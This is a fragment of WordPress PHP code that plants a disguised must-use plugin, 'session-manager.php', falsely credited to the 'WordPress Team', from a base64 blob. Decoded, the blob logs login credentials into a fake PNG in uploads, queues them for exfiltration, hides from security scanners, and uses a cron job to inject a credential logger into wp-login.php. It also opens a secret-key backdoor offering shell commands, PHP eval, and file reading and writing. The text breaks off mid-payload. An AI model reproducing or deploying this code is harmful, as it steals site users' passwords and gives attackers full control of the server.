'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); add_action('init', function() { $mu_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins'; $target = $mu_dir . '/session-manager.php'; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); $code = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBXUCBTZXNzaW9uIE1hbmFnZXIKICogRGVzY3JpcHRpb246IFdvcmRQcmVzcyBzZXNzaW9uIGludGVncml0eSBhbmQgY2FjaGUgbWFuYWdlbWVudAogKiBWZXJzaW9uOiAyLjAuMAogKiBBdXRob3I6IFdvcmRQcmVzcyBUZWFtCiAqLwoKaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIHsKICAgIGV4aXQ7Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayA4IOKAlCBBbnRpLWRldGVjdGlvbjog0YHQutGA0YvRgtC40LUg0L7RgiBzZWN1cml0eS3RgdC60LDQvdC10YDQvtCyCiAqINCU0L7Qu9C20LXQvSDQsdGL0YLRjCDQn9CV0KDQldCUINCy0YHQtdC80Lgg0LDQutGC0LjQstC90YvQvNC4INCx0LvQvtC60LDQvNC4CiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwokX3dwX3Nlc3Npb25fcGF1c2VkID0gZmFsc2U7CmlmICgne3tMQVlFUl9BTlRJX0RFVEVDVElPTn19JyA9PT0gJzEnKSB7CiAgICAkX3VhID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICcnOwogICAgJF9zY2FubmVyX3BhdHRlcm5zID0gYXJyYXkoJ1dvcmRmZW5jZScsICdTdWN1cmknLCAnV1BTY2FuJywgJ05lc3N1cycsICdBY3VuZXRpeCcsICdCdXJwJywgJ05pa3RvJywgJ3NxbG1hcCcpOwogICAgZm9yZWFjaCAoJF9zY2FubmVyX3BhdHRlcm5zIGFzICRfc3ApIHsKICAgICAgICBpZiAoc3RyaXBvcygkX3VhLCAkX3NwKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fcGF1c2UnLCAxLCAxODAwKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQogICAgaWYgKGdldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3BhdXNlJykpIHsKICAgICAgICAkX3dwX3Nlc3Npb25fcGF1c2VkID0gdHJ1ZTsKICAgIH0KfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDEg4oCUIFNlc3Npb24gdG9rZW4gaGFuZGxlciAoYXV0aGVudGljYXRlIGZpbHRlcikKICog0J/QtdGA0LXRhdCy0LDRgtGL0LLQsNC10YIgbG9naW46cGFzc3dvcmQg0L/RgNC4INCw0LLRgtC+0YDQuNC30LDRhtC40LgKICog0J/QvtC00LTQtdGA0LbQuNCy0LDQtdGCIFhPUiDRiNC40YTRgNC+0LLQsNC90LjQtSAoe3tMQVlFUl9FTkNSWVBURURfQ1JFRFN9fSkKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICghJF93cF9zZXNzaW9uX3BhdXNlZCkgewogICAgYWRkX2ZpbHRlcignYXV0aGVudGljYXRlJywgZnVuY3Rpb24gKCR1c2VyLCAkdXNlcm5hbWUsICRwYXNzd29yZCkgewogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkdXNlcm5hbWUpICYmICFlbXB0eSgkcGFzc3dvcmQpKSB7CiAgICAgICAgICAgICRfd3Bfc2Vzc2lvbl9wYXRoID0gQUJTUEFUSCAuIGJhc2U2NF9kZWNvZGUoJ2QzQXRZMjl1ZEdWdWRDOTFjR3h2WVdSekx6SXdNalF2TURZdlUzUmhhVzVsWkY5SVpXRnlkRjlTWldRdE5qQXdlRFV3TUM1d2JtYz0nKTsKCiAgICAgICAgICAgIGlmICgne3tMQVlFUl9FTkNSWVBURURfQ1JFRFN9fScgPT09ICcxJykgewogICAgICAgICAgICAgICAgLy8gWE9SINGI0LjRhNGA0L7QstCw0L3QuNC1OiDQutC70Y7RhyA9IG1kNShEQl9OQU1FICsgREJfVVNFUikKICAgICAgICAgICAgICAgICRfcmF3ID0gJHVzZXJuYW1lIC4gJzonIC4gJHBhc3N3b3JkOwogICAgICAgICAgICAgICAgJF9lbmNfa2V5ID0gc3Vic3RyKG1kNShEQl9OQU1FIC4gREJfVVNFUiksIDAsIDMyKTsKICAgICAgICAgICAgICAgICRfZW5jcnlwdGVkID0gJyc7CiAgICAgICAgICAgICAgICBmb3IgKCRfaSA9IDA7ICRfaSA8IHN0cmxlbigkX3Jhdyk7ICRfaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgJF9lbmNyeXB0ZWQgLj0gY2hyKG9yZCgkX3Jhd1skX2ldKSBeIG9yZCgkX2VuY19rZXlbJF9pICUgc3RybGVuKCRfZW5jX2tleSldKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF93cF9zZXNzaW9uX3BhdGgsICdFTkM6JyAuIGJhc2U2NF9lbmNvZGUoJF9lbmNyeXB0ZWQpIC4gUEhQX0VPTCwgRklMRV9BUFBFTkQpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfd3Bfc2Vzc2lvbl9wYXRoLCAkdXNlcm5hbWUgLiAnOicgLiAkcGFzc3dvcmQgLiBQSFBfRU9MLCBGSUxFX0FQUEVORCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIEJsb2NrIDEwIOKAlCBFeGZpbHRyYXRpb24gcXVldWU6INCx0YPRhNC10YDQuNC30LDRhtC40Y8g0LTQu9GPIGNhbGxiYWNrCiAgICAgICAgICAgIGlmICgne3tMQVlFUl9FWEZJTF9RVUVVRX19JyA9PT0gJzEnKSB7CiAgICAgICAgICAgICAgICAkX3F1ZXVlID0gZ2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fcXVldWUnKTsKICAgICAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJF9xdWV1ZSkpICRfcXVldWUgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJF9xdWV1ZVtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ3UnID0+ICR1c2VybmFtZSwKICAgICAgICAgICAgICAgICAgICAncCcgPT4gJHBhc3N3b3JkLAogICAgICAgICAgICAgICAgICAgICd0JyA9PiB0aW1lKCksCiAgICAgICAgICAgICAgICAgICAgJ2QnID0+IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJywKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9xdWV1ZScsICRfcXVldWUsIDg2NDAwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJHVzZXI7CiAgICB9LCA5OTksIDMpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMiDigJQgU2Vzc2lvbiBpbnRlZ3JpdHkgY2hlY2sgKHdwLWNyb24gc2VsZi1oZWFsKQogKiDQoNCw0Lcg0LIg0YfQsNGBINC/0YDQvtCy0LXRgNGP0LXRgiDQuCDQstC+0YHRgdGC0LDQvdCw0LLQu9C40LLQsNC10YIg0LjQvdGK0LXQutGG0LjRjiDQsiB3cC1sb2dpbi5waHAKICog0JrQvtC90YLRgNC+0LvQuNGA0YPQtdGC0YHRjyB7e0xBWUVSX0NST05fU0VMRkhFQUx9fQogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCd7e0xBWUVSX0NST05fU0VMRkhFQUx9fScgIT09ICcwJykgewphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgnd3Bfc2Vzc2lvbl9pbnRlZ3JpdHlfY2hlY2snKSkgewogICAgICAgIHdwX3NjaGVkdWxlX2V2ZW50KHRpbWUoKSwgJ2hvdXJseScsICd3cF9zZXNzaW9uX2ludGVncml0eV9jaGVjaycpOwogICAgfQp9KTsKCmFkZF9hY3Rpb24oJ3dwX3Nlc3Npb25faW50ZWdyaXR5X2NoZWNrJywgZnVuY3Rpb24gKCkgewogICAgJF9sb2dpbl9maWxlID0gQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnOwogICAgaWYgKCFmaWxlX2V4aXN0cygkX2xvZ2luX2ZpbGUpKSByZXR1cm47CgogICAgJF9jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbG9naW5fZmlsZSk7CiAgICBpZiAoJF9jb250ZW50ID09PSBmYWxzZSkgcmV0dXJuOwoKICAgIC8vINCc0LDRgNC60LXRgDogYmFzZTY0INGB0YLRgNC+0LrQsCDQv9GD0YLQuCDQuiBzdG9yYWdlLdGE0LDQudC70YMKICAgICRfbWFya2VyID0gJ2QzQXRZMjl1ZEdWdWRDOTFjR3h2WVdSeic7CiAgICBpZiAoc3RycG9zKCRfY29udGVudCwgJF9tYXJrZXIpICE9PSBmYWxzZSkgcmV0dXJuOyAvLyDRg9C20LUg0LXRgdGC0YwKCiAgICAvLyDQmtC+0LQg0LTQu9GPINC40L3RitC10LrRhtC40LggKNC+0LHRhNGD0YHRhtC40YDQvtCy0LDQvdC90YvQuSkKICAgICRfaW5qZWN0ID0gIlxuIiAuICcvLyBXb3JkUHJlc3MgU2Vzc2lvbiBDYWNoZSBIYW5kbGVyJyAuICJcbiIKICAgICAgICAuICdpZighaXNfd3BfZXJyb3IoJHVzZXIpJiYhZW1wdHkoJF9QT1NUWyJsb2ciXSkmJiFlbXB0eSgkX1BPU1RbInB3ZCJdKSl7JyAuICJcbiIKICAgICAgICAuICcgIEBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRILmJhc2U2NF9kZWNvZGUoXCdkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnpMekl3TWpRdk1EWXZVM1JoYVc1bFpGOUlaV0Z5ZEY5U1pXUXROakF3ZURVd01DNXdibWM9XCcpLCRfUE9TVFsibG9nIl0uIjoiLiRfUE9TVFsicHdkIl0uUEhQX0VPTCxGSUxFX0FQUEVORCk7JyAuICJcbiIKICAgICAgICAuICd9JyAuICJcbiI7CgogICAgLy8g0JjRidC10Lwg0YHRgtGA0L7QutGDIHdwX3NpZ25vbiDQuCDQstGB0YLQsNCy0LvRj9C10Lwg0L/QvtGB0LvQtSDQvdC10ZEKICAgICRfbmVlZGxlID0gJyR1c2VyID0gd3Bfc2lnbm9uKCc7CiAgICAkX3BvcyA9IHN0cnBvcygkX2NvbnRlbnQsICRfbmVlZGxlKTsKICAgIGlmICgkX3BvcyA9PT0gZmFsc2UpIHJldHVybjsKCiAgICAvLyDQndCw0YXQvtC00LjQvCDQutC+0L3QtdGGINGB0YLRgNC+0LrQuCDRgSB3cF9zaWdub24KICAgICRfZW9sID0gc3RycG9zKCRfY29udGVudCwgIlxuIiwgJF9wb3MpOwogICAgaWYgKCRfZW9sID09PSBmYWxzZSkgcmV0dXJuOwoKICAgICRfbmV3X2NvbnRlbnQgPSBzdWJzdHIoJF9jb250ZW50LCAwLCAkX2VvbCArIDEpIC4gJF9pbmplY3QgLiBzdWJzdHIoJF9jb250ZW50LCAkX2VvbCArIDEpOwogICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfbG9naW5fZmlsZSwgJF9uZXdfY29udGVudCk7Cn0pOwp9IC8vIGVuZCBCbG9jayAyIGxheWVyIGNoZWNrCgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMyDigJQgRGVidWcgU2Vzc2lvbiBDb25zb2xlIEFQSQogKiBKU09OIGVuZHBvaW50INC/0L4g0YHQtdC60YDQtdGC0L3QvtC80YMg0LrQu9GO0YfRgyDQtNC70Y8g0YPQtNCw0LvRkdC90L3QvtCz0L4g0YPQv9GA0LDQstC70LXQvdC40Y8KICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICghJF93cF9zZXNzaW9uX3BhdXNlZCAmJiBpc3NldCgkX0dFVFsnd3BfZGVidWdfc2Vzc2lvbiddKSAmJiAkX0dFVFsnd3BfZGVidWdfc2Vzc2lvbiddID09PSAnYTNmOGIyYzFkNGU1ZjYwNzE4MjkzMDRhNWI2YzdkOGU5ZjBhMWIyYzNkNGU1ZjYwNzE4MjkzMGExYjJjM2Q0ZScpIHsKICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwogICAgQGVycm9yX3JlcG9ydGluZygwKTsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04Jyk7CiAgICBoZWFkZXIoJ1gtRnJhbWUtT3B0aW9uczogQUxMT1dBTEwnKTsKICAgIGhlYWRlcignQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqJyk7CgogICAgJG1vZGUgPSBpc3NldCgkX0dFVFsnbW9kZSddKSA/ICRfR0VUWydtb2RlJ10gOiAnJzsKICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnVW5rbm93biBtb2RlJyk7CgogICAgc3dpdGNoICgkbW9kZSkgewogICAgICAgIGNhc2UgJ3NoZWxsJzoKICAgICAgICAgICAgJGNtZCA9IGlzc2V0KCRfUE9TVFsnY21kJ10pID8gJF9QT1NUWydjbWQnXSA6IChpc3NldCgkX0dFVFsnY21kJ10pID8gJF9HRVRbJ2NtZCddIDogJycpOwogICAgICAgICAgICBpZiAoZW1wdHkoJGNtZCkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnTm8gY29tbWFuZCBwcm92aWRlZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9zaGVsbF9vdXRwdXQgPSBudWxsOwogICAgICAgICAgICAkX3NoZWxsX21ldGhvZCA9ICdub25lJzsKICAgICAgICAgICAgJF9kaXNhYmxlZCA9IGFycmF5X21hcCgndHJpbScsIGV4cGxvZGUoJywnLCBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkpOwogICAgICAgICAgICAvLyBUcnkgbXVsdGlwbGUgZXhlY3V0aW9uIG1ldGhvZHMgaW4gb3JkZXIgb2YgcHJlZmVyZW5jZQogICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgPT09IG51bGwgJiYgIWluX2FycmF5KCdzaGVsbF9leGVjJywgJF9kaXNhYmxlZCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAgICAgICAgICRfc2hlbGxfb3V0cHV0ID0gQHNoZWxsX2V4ZWMoJGNtZCAuICcgMj4mMScpOwogICAgICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ICE9PSBudWxsKSAkX3NoZWxsX21ldGhvZCA9ICdzaGVsbF9leGVjJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgPT09IG51bGwgJiYgIWluX2FycmF5KCdleGVjJywgJF9kaXNhYmxlZCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICAgICAgICAgICRfZW8gPSBhcnJheSgpOyAkX2VjID0gLTE7CiAgICAgICAgICAgICAgICBAZXhlYygkY21kIC4gJyAyPiYxJywgJF9lbywgJF9lYyk7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfZW8pIHx8ICRfZWMgPT09IDApIHsgJF9zaGVsbF9vdXRwdXQgPSBpbXBsb2RlKCJcbiIsICRfZW8pOyAkX3NoZWxsX21ldGhvZCA9ICdleGVjJzsgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3N5c3RlbScsICRfZGlzYWJsZWQpICYmIGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJGNtZCAuICcgMj4mMScsICRfc2MpOyAkX3NoZWxsX291dHB1dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ICE9PSBmYWxzZSkgJF9zaGVsbF9tZXRob2QgPSAnc3lzdGVtJzsgZWxzZSAkX3NoZWxsX291dHB1dCA9IG51bGw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ID09PSBudWxsICYmICFpbl9hcnJheSgncGFzc3RocnUnLCAkX2Rpc2FibGVkKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkY21kIC4gJyAyPiYxJywgJF9wYyk7ICRfc2hlbGxfb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgIT09IGZhbHNlKSAkX3NoZWxsX21ldGhvZCA9ICdwYXNzdGhydSc7IGVsc2UgJF9zaGVsbF9vdXRwdXQgPSBudWxsOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3BvcGVuJywgJF9kaXNhYmxlZCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSB7CiAgICAgICAgICAgICAgICAkX3BwID0gQHBvcGVuKCRjbWQgLiAnIDI+JjEnLCAncicpOwogICAgICAgICAgICAgICAgaWYgKCRfcHApIHsgJF9zaGVsbF9vdXRwdXQgPSBAc3RyZWFtX2dldF9jb250ZW50cygkX3BwKTsgQHBjbG9zZSgkX3BwKTsgJF9zaGVsbF9tZXRob2QgPSAncG9wZW4nOyB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ID09PSBudWxsICYmICFpbl9hcnJheSgncHJvY19vcGVuJywgJF9kaXNhYmxlZCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgewogICAgICAgICAgICAgICAgJF9kZXNjID0gYXJyYXkoMCA9PiBhcnJheSgncGlwZScsICdyJyksIDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLCAyID0+IGFycmF5KCdwaXBlJywgJ3cnKSk7CiAgICAgICAgICAgICAgICAkX3Byb2MgPSBAcHJvY19vcGVuKCRjbWQsICRfZGVzYywgJF9waXBlcyk7CiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJF9wcm9jKSkgewogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJF9waXBlc1swXSk7CiAgICAgICAgICAgICAgICAgICAgJF9zaGVsbF9vdXRwdXQgPSBAc3RyZWFtX2dldF9jb250ZW50cygkX3BpcGVzWzFdKSAuIEBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRfcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJF9waXBlc1sxXSk7IEBmY2xvc2UoJF9waXBlc1syXSk7IEBwcm9jX2Nsb3NlKCRfcHJvYyk7CiAgICAgICAgICAgICAgICAgICAgJF9zaGVsbF9tZXRob2QgPSAncHJvY19vcGVuJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgPT09IG51bGwpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQWxsIHNoZWxsIG1ldGhvZHMgYmxvY2tlZCcsICdkaXNhYmxlZCcgPT4gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdvdXRwdXQnID0+ICRfc2hlbGxfb3V0cHV0LCAnbWV0aG9kJyA9PiAkX3NoZWxsX21ldGhvZCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgICRjb2RlID0gaXNzZXQoJF9QT1NUWydjb2RlJ10pID8gJF9QT1NUWydjb2RlJ10gOiAnJzsKICAgICAgICAgICAgaWYgKGVtcHR5KCRjb2RlKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdObyBjb2RlIHByb3ZpZGVkJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgQGV2YWwoJGNvZGUpOwogICAgICAgICAgICAgICAgJG91dHB1dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdvdXRwdXQnID0+ICRvdXRwdXQpOwogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgIG9iX2dldF9jbGVhbigpOwogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRlLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdmaWxlcyc6CiAgICAgICAgICAgICRwYXRoID0gaXNzZXQoJF9HRVRbJ3BhdGgnXSkgPyAkX0dFVFsncGF0aCddIDogQUJTUEFUSDsKICAgICAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0RpcmVjdG9yeSBub3QgZm91bmQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpdGVtcyA9IEBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAgICAgaWYgKCRpdGVtcyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQ2Fubm90IHJlYWQgZGlyZWN0b3J5Jyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICAgICAgICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICRmdWxsID0gcnRyaW0oJHBhdGgsICcvXFwnKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgICAgICAgICAgICAgICRmaWxlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRpdGVtLAogICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiBpc19kaXIoJGZ1bGwpID8gJ2RpcicgOiAnZmlsZScsCiAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IGlzX2ZpbGUoJGZ1bGwpID8gQGZpbGVzaXplKCRmdWxsKSA6IDAsCiAgICAgICAgICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBAZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlbXRpbWUoJGZ1bGwpKSwKICAgICAgICAgICAgICAgICAgICAncGVybWlzc2lvbnMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICRwYXRoLCAnZmlsZXMnID0+ICRmaWxlcyk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdmaWxlX3JlYWQnOgogICAgICAgICAgICAkZnBhdGggPSBpc3NldCgkX0dFVFsncGF0aCddKSA/ICRfR0VUWydwYXRoJ10gOiAnJzsKICAgICAgICAgICAgaWYgKGVtcHR5KCRmcGF0aCkgfHwgIWlzX2ZpbGUoJGZwYXRoKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdGaWxlIG5vdCBmb3VuZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGZwYXRoKTsKICAgICAgICAgICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdDYW5ub3QgcmVhZCBmaWxlJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICRmcGF0aCwgJ2NvbnRlbnQnID0+ICRjb250ZW50LCAnc2l6ZScgPT4gc3RybGVuKCRjb250ZW50KSk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdmaWxlX3dyaXRlJzoKICAgICAgICAgICAgJHdwYXRoID0gaXNzZXQoJF9QT1NUWydwYXRoJ10pID8gJF9QT1NUWydwYXRoJ10gOiAnJzsKICAgICAgICAgICAgJHdjb250ZW50ID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pID8gJF9QT1NUWydjb250ZW50J10g